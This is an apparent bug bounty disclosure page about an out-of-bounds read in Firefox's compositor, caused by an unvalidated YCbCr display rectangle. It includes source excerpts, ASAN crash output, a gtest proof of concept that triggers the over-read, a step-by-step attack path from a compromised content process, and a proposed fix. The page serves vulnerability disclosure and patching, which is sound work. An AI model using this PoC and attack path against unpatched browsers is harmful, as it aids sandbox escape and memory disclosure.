YCbCr Display Rect OOB Read in Compositor
The compositor never checked the YCbCr descriptor's display rectangle against the actual plane buffer sizes, so a compromised content process could claim far more rows than it supplied. The YCbCr-to-RGB conversion then read well past the shared memory allocation, causing an out-of-bounds read in the GPU process.
Originally disclosed on Mozilla
- Fixed in 20 days
- Paid in 54 days
- Disclosed after 20 days
Compromised content process -> compositor/GPU process via PImageBridge video texture IPC.
The YCbCrDescriptor's display rect is used as the row count for YCbCr-to-RGB conversion, but it's never validated against the actual plane buffer sizes. A content process can send a texture descriptor claiming thousands of rows while only providing a few bytes of actual data, causing the compositor to read megabytes past the shmem allocation.
The validation gap is in TextureHost.cpp:278-283:
reqSize = ImageDataSerializer::ComputeYCbCrBufferSize(
ycbcr.ySize(), ycbcr.yStride(), ycbcr.cbCrSize(),
ycbcr.cbCrStride(), ycbcr.yOffset(), ycbcr.cbOffset(),
ycbcr.crOffset());
ComputeYCbCrBufferSize validates that the shmem can hold the Y/Cb/Cr planes based on ySize/cbCrSize, but the display parameter is never passed in and never checked against these values.
When rendering happens, ConvertYCbCrToRGB at gfx/ycbcr/YCbCrUtils.cpp:271-278 uses mPictureRect (set from display) as the loop bounds:
return ConvertYCbCrToRGB32(aData.mYChannel, aData.mCbChannel, aData.mCrChannel,
aDestBuffer,
aData.mPictureRect.x, aData.mPictureRect.y,
aData.mPictureRect.width, // loop bound
aData.mPictureRect.height, // loop bound - no validation against buffer!
aData.mYStride, aData.mCbCrStride, ...);
Setting display.height >> ySize.height causes the libyuv conversion routines to read past the Y/Cb/Cr plane buffers.
ASAN Proof
Tested on mozilla-central with --enable-address-sanitizer:
==58157==ERROR: AddressSanitizer: BUS on unknown address (pc 0x0003115583f4 bp 0x00016fd8c8c0 sp 0x00016fd8c850 T0)
==58157==The signal is caused by a READ memory access.
==58157==Hint: this fault was caused by a dereference of a high value address (see register values below).
#0 0x0003115583f4 in I422ToARGBRow_NEON+0x10 (XUL:arm64+0x115583f4)
#1 0x000305f86820 in mozilla::gfx::ConvertYCbCrToRGB32(...)+0x404 (XUL:arm64+0x5f86820)
#2 0x000305f822bc in mozilla::gfx::ConvertYCbCrToRGB(mozilla::layers::PlanarYCbCrData const&, ...)+0x19c (XUL:arm64+0x5f822bc)
==58157==Register values:
x[0] = 0x00006060007c0000 x[1] = 0x00006030005f1ea0 x[2] = 0x00006030005f1ed0
SIGBUS instead of heap-buffer-overflow because the hot loop is hand-written NEON assembly (I422ToARGBRow_NEON) that ASAN can't instrument. The OOB read is so large that it blows past the shmem mapping into unmapped pages, so the hardware traps before ASAN's shadow memory gets a chance to fire. On a non-ASAN release build this would silently read whatever's mapped after the shmem.
The crash is in the real compositor rendering path: I422ToARGBRow_NEON <- ConvertYCbCrToRGB32 <- ConvertYCbCrToRGB.
PoC
gfx/tests/gtest/TestYCbCrDisplayOOBRead.cpp:
#include "gtest/gtest.h"
#include "ImageContainer.h"
#include "YCbCrUtils.h"
#include "mozilla/gfx/Types.h"
#include "mozilla/UniquePtr.h"
using namespace mozilla;
using namespace mozilla::gfx;
TEST(YCbCrDisplay, OOBReadViaLargePictureRect)
{
const int32_t width = 64;
const int32_t actualHeight = 1;
const int32_t claimedHeight = 128;
const int32_t yStride = width;
const int32_t cbCrWidth = width / 2;
const int32_t cbCrHeight = 1;
const int32_t cbCrStride = cbCrWidth;
const size_t yBufSize = yStride * actualHeight;
const size_t cbBufSize = cbCrStride * cbCrHeight;
const size_t crBufSize = cbCrStride * cbCrHeight;
UniquePtr<uint8_t[]> yBuf(new uint8_t[yBufSize]);
UniquePtr<uint8_t[]> cbBuf(new uint8_t[cbBufSize]);
UniquePtr<uint8_t[]> crBuf(new uint8_t[crBufSize]);
memset(yBuf.get(), 128, yBufSize);
memset(cbBuf.get(), 128, cbBufSize);
memset(crBuf.get(), 128, crBufSize);
layers::PlanarYCbCrData data;
data.mYChannel = yBuf.get();
data.mYStride = yStride;
data.mYSkip = 0;
data.mCbChannel = cbBuf.get();
data.mCrChannel = crBuf.get();
data.mCbCrStride = cbCrStride;
data.mCbSkip = 0;
data.mCrSkip = 0;
data.mColorDepth = gfx::ColorDepth::COLOR_8;
data.mYUVColorSpace = gfx::YUVColorSpace::BT601;
data.mColorRange = gfx::ColorRange::LIMITED;
data.mChromaSubsampling = gfx::ChromaSubsampling::HALF_WIDTH_AND_HEIGHT;
// THE VULNERABILITY: mPictureRect claims 128 rows, buffer has 1 row
data.mPictureRect = gfx::IntRect(0, 0, width, claimedHeight);
const int32_t destStride = width * 4;
const size_t destSize = destStride * claimedHeight;
UniquePtr<uint8_t[]> destBuf(new uint8_t[destSize]);
// ASAN: heap-buffer-overflow READ (or SIGBUS on arm64 NEON)
nsresult rv = gfx::ConvertYCbCrToRGB(
data, gfx::SurfaceFormat::B8G8R8X8,
gfx::IntSize(width, claimedHeight),
destBuf.get(), destStride);
(void)rv;
}
TEST(YCbCrDisplay, OOBReadMassive)
{
const int32_t width = 64;
const int32_t actualHeight = 1;
const int32_t claimedHeight = 4096;
const int32_t yStride = width;
const int32_t cbCrStride = width / 2;
const size_t yBufSize = yStride * actualHeight;
const size_t cbBufSize = cbCrStride * actualHeight;
UniquePtr<uint8_t[]> yBuf(new uint8_t[yBufSize]);
UniquePtr<uint8_t[]> cbBuf(new uint8_t[cbBufSize]);
UniquePtr<uint8_t[]> crBuf(new uint8_t[cbBufSize]);
memset(yBuf.get(), 128, yBufSize);
memset(cbBuf.get(), 128, cbBufSize);
memset(crBuf.get(), 128, cbBufSize);
layers::PlanarYCbCrData data;
data.mYChannel = yBuf.get();
data.mYStride = yStride;
data.mYSkip = 0;
data.mCbChannel = cbBuf.get();
data.mCrChannel = crBuf.get();
data.mCbCrStride = cbCrStride;
data.mCbSkip = 0;
data.mCrSkip = 0;
data.mColorDepth = gfx::ColorDepth::COLOR_8;
data.mYUVColorSpace = gfx::YUVColorSpace::BT601;
data.mColorRange = gfx::ColorRange::LIMITED;
data.mChromaSubsampling = gfx::ChromaSubsampling::HALF_WIDTH_AND_HEIGHT;
// 4096 rows from 1-row buffer: reads ~256KB past allocation
data.mPictureRect = gfx::IntRect(0, 0, width, claimedHeight);
const int32_t destStride = width * 4;
const size_t destSize = destStride * claimedHeight;
UniquePtr<uint8_t[]> destBuf(new uint8_t[destSize]);
// ASAN: heap-buffer-overflow READ of ~262080 bytes past allocation
nsresult rv = gfx::ConvertYCbCrToRGB(
data, gfx::SurfaceFormat::B8G8R8X8,
gfx::IntSize(width, claimedHeight),
destBuf.get(), destStride);
(void)rv;
}
Run: ./mach gtest "YCbCrDisplay.*OOB*"
Attack Path
- Compromised content process creates a video texture via PImageBridge
- Sends SurfaceDescriptorBuffer with YCbCrDescriptor:
- ySize = {4096, 1}, yStride = 4096 (just 1 row)
- display = {0, 0, 4096, 4096} (claims 4096 rows)
- Shmem sized for actual plane data (~8KB)
- CreateBackendIndependentTextureHost validates shmem fits ySize planes - passes
- display is never validated against ySize
- Rendering path calls ConvertYCbCrToRGB with mPictureRect.height=4096
- Reads 4096 rows from a 1-row buffer - OOB read of ~16MB
Fix
Validate display against ySize in CreateBackendIndependentTextureHost:
case BufferDescriptor::TYCbCrDescriptor: {
const YCbCrDescriptor& ycbcr = desc.get_YCbCrDescriptor();
gfx::IntRect display = ycbcr.display();
if (display.XMost() > ycbcr.ySize().width ||
display.YMost() > ycbcr.ySize().height) {
return nullptr;
}
// ... existing validation ...
}
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The display rectangle from the YCbCr descriptor is used as the conversion loop bound but is never validated against the plane sizes that ComputeYCbCrBufferSize checks.
Impact
A compromised content process could cause the compositor to read megabytes past the shared memory allocation, which on a release build would silently read adjacent mapped memory.
What the attacker needed
Compromised content process
The fix
The display rectangle should be validated against ySize in CreateBackendIndependentTextureHost, rejecting descriptors whose display extends beyond the plane dimensions.
How it was found
- A compromised content process creates a video texture through PImageBridge.
- It sends a SurfaceDescriptorBuffer whose YCbCrDescriptor has a small ySize but a display rectangle claiming many more rows.
- CreateBackendIndependentTextureHost validates the shmem against the plane sizes and passes.
- The display rectangle is never checked against ySize.
- Rendering calls ConvertYCbCrToRGB with the oversized picture rectangle, reading past the plane buffers.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Video frames are stored in a shared memory buffer, and the compositor is told how big the picture is. The code checked that the buffer was big enough for the data it was told about, but not that the claimed picture size matched that data. A malicious program could therefore make the compositor read memory beyond the buffer, which is an out-of-bounds read.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.